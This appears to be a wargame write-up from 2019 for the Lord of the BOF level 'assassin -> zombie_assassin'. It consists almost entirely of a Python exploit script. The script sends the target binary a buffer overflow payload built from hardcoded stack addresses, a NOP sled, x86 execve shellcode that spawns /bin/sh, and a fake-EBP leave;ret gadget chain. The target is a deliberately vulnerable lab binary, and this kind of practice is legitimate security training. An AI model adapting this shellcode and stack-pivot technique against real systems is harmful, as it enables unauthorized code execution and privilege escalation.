Wargame/Lord Of the Bof(redhat)

[Remind] LOB assassin -> zombie_assassin

JeonYoungSin 2019. 4. 19. 03:20

exploit.py


import os

from struct import *


p = lambda x : pack("<L" , x)

path = '/home/assassin/zombie_assassin'

leaveRetGaget = p(0x80484df)

shellAddress = p(0xbffffa74)

shellCode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"

fEbpAddress = p(0xbffffa6c)

payload = shellAddress+"\x90"*11+shellCode+fEbpAddress+leaveRetGaget


os.execl(path,path,payload)